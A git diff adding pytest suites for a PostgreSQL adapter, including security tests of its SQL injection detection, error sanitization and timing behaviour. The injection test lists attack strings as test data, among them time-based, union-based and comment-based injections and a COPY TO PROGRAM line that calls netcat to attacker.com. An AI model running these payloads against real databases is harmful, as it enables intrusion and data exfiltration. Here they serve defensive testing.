Validate error was handled properly + assert isinstance(e, Exception) + + # Verify original data is still intact + verification_result = await connection_manager.execute_query( + f"SELECT service_type FROM infrastructure.{clean_test_table} WHERE service_name = $1", + "transaction-test" + ) + + if verification_result: + original_record = dict(verification_result[0]) + assert original_record['service_type'] == "database" # Original value preserved + + @skip_if_no_postgres + @pytest.mark.asyncio + async def test_concurrent_message_processing(self, connection_manager, clean_test_table): + """Test concurrent message envelope processing.""" + + async def process_service_registration(service_id: int): + """Simulate concurrent service registration through message envelopes.""" + correlation_id = uuid.uuid4() + + await connection_manager.execute_query( + f"""INSERT INTO infrastructure.{clean_test_table} + (service_name, service_type, status) VALUES ($1, $2, $3)""", + f"concurrent-service-{service_id}", + "microservice", + "healthy" + ) + + return service_id + + # Process multiple concurrent registrations + tasks = [process_service_registration(i) for i in range(5)] + results = await asyncio.gather(*tasks, return_exceptions=True) + + # Validate all registrations completed + successful_registrations = [r for r in results if not isinstance(r, Exception)] + assert len(successful_registrations) == 5 + + # Verify all services were inserted + count_result = await connection_manager.execute_query( + f"SELECT COUNT(*) as count FROM infrastructure.{clean_test_table} WHERE service_name LIKE 'concurrent-service-%'" + ) + + count_record = dict(count_result[0]) + assert count_record['count'] == 5 + + @skip_if_no_postgres + @pytest.mark.asyncio + async def test_performance_metrics_integration(self, connection_manager, clean_test_table): + """Test performance metrics tracking in real database operations.""" + + start_time = time.perf_counter() + + # Execute a moderately complex query + correlation_id = uuid.uuid4() + result = await connection_manager.execute_query( + f""" + WITH service_stats AS ( + SELECT + service_type, + COUNT(*) as service_count, + ARRAY_AGG(service_name) as service_names + FROM infrastructure.{clean_test_table} + GROUP BY service_type + ) + SELECT * FROM service_stats + """, + record_metrics=True + ) + + end_time = time.perf_counter() + execution_time_ms = (end_time - start_time) * 1000 + + # Validate performance tracking would work + assert execution_time_ms >= 0 + assert isinstance(result, list) + + # In a real adapter, this timing would be included in the output envelope + logger.info(f"Query execution time: {execution_time_ms:.2f}ms") + + +if __name__ == "__main__": + pytest.main([__file__, "-v", "-s"]) \ No newline at end of file diff --git a/tests/test_postgres_adapter_security.py b/tests/test_postgres_adapter_security.py new file mode 100644 index 0000000000..456362cf54 --- /dev/null +++ b/tests/test_postgres_adapter_security.py @@ -0,0 +1,419 @@ +""" +Enhanced security and edge case tests for PostgreSQL Adapter. + +Tests advanced SQL injection techniques, timing attacks, connection pool exhaustion, +concurrent access patterns, and configuration validation edge cases. +""" + +import asyncio +import pytest +import time +import uuid +from concurrent.futures import ThreadPoolExecutor, as_completed +from unittest.mock import Mock, AsyncMock, patch +from typing import Dict, Any + +from omnibase_core.core.onex_container import ModelONEXContainer as ONEXContainer +from omnibase_core.core.core_error_codes import CoreErrorCode +from omnibase_core.core.errors.onex_error import OnexError + +from omnibase_infra.nodes.node_postgres_adapter_effect.v1_0_0.node import NodePostgresAdapterEffect +from omnibase_infra.nodes.node_postgres_adapter_effect.v1_0_0.models.model_postgres_adapter_input import ModelPostgresAdapterInput +from omnibase_infra.nodes.node_postgres_adapter_effect.v1_0_0.models.model_postgres_adapter_config import ModelPostgresAdapterConfig +from omnibase_infra.models.postgres.model_postgres_query_request import ModelPostgresQueryRequest + + +class TestPostgresAdapterSecurityEdgeCases: + """Advanced security and edge case tests for PostgreSQL adapter.""" + + @pytest.fixture + def container(self): + """Create a basic ONEXContainer for testing.""" + return ONEXContainer() + + @pytest.fixture + def mock_connection_manager(self): + """Create a mock connection manager with advanced scenarios.""" + manager = AsyncMock() + + # Mock successful query execution + manager.execute_query.return_value = [{"id": 1, "name": "test_service"}] + + # Mock health check + manager.health_check.return_value = { + "status": "healthy", + "timestamp": time.time(), + "connection_pool": { + "active": 5, + "idle": 15, + "total": 20 + }, + "database_info": { + "version": "PostgreSQL 15.4" + }, + "errors": [] + } + + return manager + + @pytest.fixture + def secure_config(self): + """Create a secure production configuration.""" + return ModelPostgresAdapterConfig( + max_query_size=25000, # More restrictive for production + max_parameter_count=50, + max_parameter_size=5000, + max_timeout_seconds=180, + max_complexity_score=15, + enable_query_complexity_validation=True, + enable_sql_injection_detection=True, + enable_error_sanitization=True, + environment="production" + ) + + @pytest.fixture + def adapter_with_secure_config(self, container, mock_connection_manager, secure_config): + """Create adapter with secure production configuration.""" + mock_container = Mock(spec=ONEXContainer) + mock_container.get_service.return_value = mock_connection_manager + + with patch('omnibase_infra.infrastructure.postgres_connection_manager.PostgresConnectionManager') as mock_manager_class: + mock_manager_class.return_value = mock_connection_manager + + adapter = NodePostgresAdapterEffect(mock_container) + adapter.config = secure_config + adapter._connection_manager = mock_connection_manager + + return adapter + + @pytest.mark.asyncio + async def test_uuid_correlation_id_validation(self, adapter_with_secure_config): + """Test comprehensive UUID correlation ID validation.""" + + # Test valid UUID + valid_uuid = uuid.uuid4() + validated = adapter_with_secure_config._validate_correlation_id(valid_uuid) + assert validated == valid_uuid + + # Test valid UUID string + uuid_string = str(uuid.uuid4()) + validated = adapter_with_secure_config._validate_correlation_id(uuid_string) + assert str(validated) == uuid_string + + # Test None generates new UUID + validated = adapter_with_secure_config._validate_correlation_id(None) + assert isinstance(validated, uuid.UUID) + + # Test invalid UUID string + with pytest.raises(OnexError) as exc_info: + adapter_with_secure_config._validate_correlation_id("not-a-uuid") + assert exc_info.value.code == CoreErrorCode.VALIDATION_ERROR + + # Test empty UUID + empty_uuid = uuid.UUID('00000000-0000-0000-0000-000000000000') + with pytest.raises(OnexError) as exc_info: + adapter_with_secure_config._validate_correlation_id(empty_uuid) + assert exc_info.value.code == CoreErrorCode.VALIDATION_ERROR + + # Test invalid type + with pytest.raises(OnexError) as exc_info: + adapter_with_secure_config._validate_correlation_id(123) + assert exc_info.value.code == CoreErrorCode.VALIDATION_ERROR + + @pytest.mark.asyncio + async def test_advanced_sql_injection_patterns(self, adapter_with_secure_config): + """Test advanced SQL injection attack patterns.""" + + advanced_injection_patterns = [ + # Time-based blind SQL injection + "'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END; --", + + # Boolean-based blind injection + "' AND (SELECT COUNT(*) FROM information_schema.tables)>0 AND '1'='1", + + # Union-based information extraction + "' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='public'--", + + # Function-based attacks + "'; SELECT current_user, version(), database(); --", + + # Nested query attacks + "'; SELECT * FROM users WHERE id IN (SELECT admin_id FROM admin_users); --", + + # Comment-based attacks + "admin'/**/OR/**/1=1/**/--", + + # Encoded attacks + "%27%20OR%201=1--", + + # PostgreSQL-specific attacks + "'; COPY users TO PROGRAM 'nc attacker.com 4444'; --", + + # Buffer overflow attempts + "'" + "A" * 10000 + "'", + + # XML/JSON injection + "'; SELECT xmlparse(content 'test'); --" + ] + + correlation_id = uuid.uuid4() + + for injection_pattern in advanced_injection_patterns: + query_request = ModelPostgresQueryRequest( + query=injection_pattern, + parameters=[], + correlation_id=correlation_id + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id + ) + + # Process should detect and handle malicious patterns + result = await adapter_with_secure_config.process(input_envelope) + + # Verify security measures are in place + assert isinstance(result.correlation_id, uuid.UUID) + + # For production config, should block dangerous patterns + if adapter_with_secure_config.config.enable_sql_injection_detection: + # Most patterns should be detected, but let's ensure no system crashes + assert result is not None + + @pytest.mark.asyncio + async def test_connection_pool_exhaustion(self, adapter_with_secure_config): + """Test behavior under connection pool exhaustion scenarios.""" + + # Mock connection pool exhaustion + adapter_with_secure_config._connection_manager.execute_query.side_effect = [ + Exception("FATAL: too many connections for role"), + Exception("connection pool exhausted"), + Exception("could not connect to server: Connection refused"), + ] + + correlation_id = uuid.uuid4() + query_request = ModelPostgresQueryRequest( + query="SELECT 1", + parameters=[], + correlation_id=correlation_id + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id + ) + + # Should handle connection exhaustion gracefully + result = await adapter_with_secure_config.process(input_envelope) + + assert result.success is False + assert result.error_message is not None + # Error should be sanitized to not reveal internal details + assert "too many connections" not in result.error_message.lower() + + @pytest.mark.asyncio + async def test_concurrent_access_thread_safety(self, adapter_with_secure_config): + """Test thread safety under concurrent access patterns.""" + + # Create multiple concurrent requests + correlation_ids = [uuid.uuid4() for _ in range(20)] + + async def make_request(correlation_id): + query_request = ModelPostgresQueryRequest( + query="SELECT * FROM test_table WHERE id = $1", + parameters=[1], + correlation_id=correlation_id + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id + ) + + return await adapter_with_secure_config.process(input_envelope) + + # Execute requests concurrently + tasks = [make_request(cid) for cid in correlation_ids] + results = await asyncio.gather(*tasks, return_exceptions=True) + + # Verify all requests completed without race conditions + assert len(results) == 20 + + for i, result in enumerate(results): + if isinstance(result, Exception): + pytest.fail(f"Request {i} failed with exception: {result}") + else: + assert result.correlation_id == correlation_ids[i] + + @pytest.mark.asyncio + async def test_timing_attack_resistance(self, adapter_with_secure_config): + """Test resistance to timing-based attacks.""" + + # Mock different execution times for different query patterns + execution_times = [] + + async def mock_execute_with_timing(query, *args, **kwargs): + # Simulate consistent timing regardless of query complexity + await asyncio.sleep(0.01) # Consistent 10ms delay + return [{"result": "success"}] + + adapter_with_secure_config._connection_manager.execute_query.side_effect = mock_execute_with_timing + + queries = [ + "SELECT * FROM users WHERE username = 'admin'", + "SELECT * FROM users WHERE username = 'nonexistent'", + "SELECT * FROM users WHERE username = 'test'", + ] + + correlation_id = uuid.uuid4() + + for query in queries: + query_request = ModelPostgresQueryRequest( + query=query, + parameters=[], + correlation_id=correlation_id + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id + ) + + start_time = time.perf_counter() + result = await adapter_with_secure_config.process(input_envelope) + end_time = time.perf_counter() + + execution_times.append(end_time - start_time) + + # Verify timing consistency (all should be within 50% of each other) + min_time = min(execution_times) + max_time = max(execution_times) + + # Allow for reasonable variance but prevent obvious timing attacks + assert max_time - min_time < 0.005 # Less than 5ms variance + + @pytest.mark.asyncio + async def test_configuration_security_validation(self): + """Test production configuration security validation.""" + + # Test production configuration requires security features + with pytest.raises(OnexError) as exc_info: + config = ModelPostgresAdapterConfig( + environment="production", + enable_error_sanitization=False # Should fail in production + ) + config.validate_security_config() + + assert exc_info.value.code == CoreErrorCode.CONFIGURATION_ERROR + assert "production environment" in str(exc_info.value) + + # Test SQL injection detection requirement + with pytest.raises(OnexError) as exc_info: + config = ModelPostgresAdapterConfig( + environment="production", + enable_sql_injection_detection=False # Should fail in production + ) + config.validate_security_config() + + assert exc_info.value.code == CoreErrorCode.CONFIGURATION_ERROR + + @pytest.mark.asyncio + async def test_large_query_memory_management(self, adapter_with_secure_config): + """Test memory management with large queries and results.""" + + # Test large query size validation + large_query = "SELECT * FROM huge_table WHERE " + " OR ".join([f"id = {i}" for i in range(10000)]) + + correlation_id = uuid.uuid4() + query_request = ModelPostgresQueryRequest( + query=large_query, + parameters=[], + correlation_id=correlation_id + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id + ) + + # Should be blocked by query size limits + result = await adapter_with_secure_config.process(input_envelope) + + # Verify size limits are enforced + if len(large_query) > adapter_with_secure_config.config.max_query_size: + assert result.success is False + assert "query size" in result.error_message.lower() + + def test_secure_environment_variable_loading(self): + """Test secure configuration loading without exposing sensitive data.""" + + # Test secure mode prevents logging of configuration values + with patch.dict('os.environ', { + 'POSTGRES_ADAPTER_MAX_QUERY_SIZE': '30000', + 'POSTGRES_ADAPTER_ENVIRONMENT': 'production' + }): + config = ModelPostgresAdapterConfig.from_environment(secure_mode=True) + assert config.max_query_size == 30000 + assert config.environment == "production" + + # Test configuration validation errors don't expose internal details + with patch.dict('os.environ', { + 'POSTGRES_ADAPTER_MAX_QUERY_SIZE': 'invalid_number' + }): + try: + config = ModelPostgresAdapterConfig.from_environment(secure_mode=True) + except OnexError as e: + assert "Failed to load PostgreSQL adapter configuration" in str(e) + + @pytest.mark.asyncio + async def test_error_message_information_disclosure_prevention(self, adapter_with_secure_config): + """Test prevention of information disclosure through error messages.""" + + # Mock database errors that might contain sensitive information + sensitive_errors = [ + 'relation "secret_admin_table" does not exist', + 'column "hidden_password_field" does not exist', + 'permission denied for table sensitive_data', + 'authentication failed for user "admin" with password "secret123"', + 'connection failed: postgresql://user:password123@internal-db:5432/prod_db' + ] + + correlation_id = uuid.uuid4() + + for sensitive_error in sensitive_errors: + adapter_with_secure_config._connection_manager.execute_query.side_effect = Exception(sensitive_error) + + query_request = ModelPostgresQueryRequest( + query="SELECT 1", + parameters=[], + correlation_id=correlation_id + ) + + input_envelope = ModelPostgresAdapterInput( + operation_type="query", + query_request=query_request, + correlation_id=correlation_id + ) + + result = await adapter_with_secure_config.process(input_envelope) + + # Verify sensitive information is sanitized + error_message = result.error_message.lower() + assert "secret" not in error_message + assert "admin" not in error_message + assert "password123" not in error_message + assert "internal-db" not in error_message + + # Should still provide useful error information + assert len(result.error_message) > 0 + assert result.error_message != sensitive_error + + +if __name__ == "__main__": + pytest.main([__file__, "-v"]) \ No newline at end of file diff --git a/tests/test_postgres_connection.py b/tests/test_postgres_connection.py new file mode 100644 index 0000000000..59fb90dbe4 --- /dev/null +++ b/tests/test_postgres_connection.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +"""Integration test to verify PostgreSQL connection works in Docker environment.""" + +import asyncio +import logging +import os +import sys +from pathlib import Path + +# Add src to path for imports when running as script +sys.path.insert(0, str(Path(__file__).parent.parent / "src")) + +from omnibase_infra.infrastructure.postgres_connection_manager import PostgresConnectionManager + +# Configure logging following omnibase_3 infrastructure pattern +logger = logging.getLogger(__name__) + +async def test_postgres_connection(): + """Test PostgreSQL connection and basic operations.""" + logger.info("Starting PostgreSQL connection test...") + + try: + # Create connection manager with environment configuration + manager = PostgresConnectionManager() + + logger.info("Initializing connection manager...") + await manager.initialize() + + logger.info("Running health check...") + health = await manager.health_check() + logger.info(f"Health check result: {health}") + + logger.info("Testing simple query...") + result = await manager.execute_query("SELECT version();") + logger.info(f"PostgreSQL version: {result}") + + logger.info("Testing infrastructure schema query...") + result = await manager.execute_query( + "SELECT COUNT(*) as service_count FROM infrastructure.service_registry;" + ) + logger.info(f"Service registry entries: {result}") + + logger.info("Closing connection...") + await manager.close() + + logger.info("✅ PostgreSQL connection test successful!") + + except Exception as e: + logger.error(f"❌ PostgreSQL connection test failed: {e}") + import traceback + traceback.print_exc() + return False + + return True + +if __name__ == "__main__": + # Configure logging for test + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(name)s - %(levelname)s - %(message)s' + ) + success = asyncio.run(test_postgres_connection()) + exit(0 if success else 1) \ No newline at end of file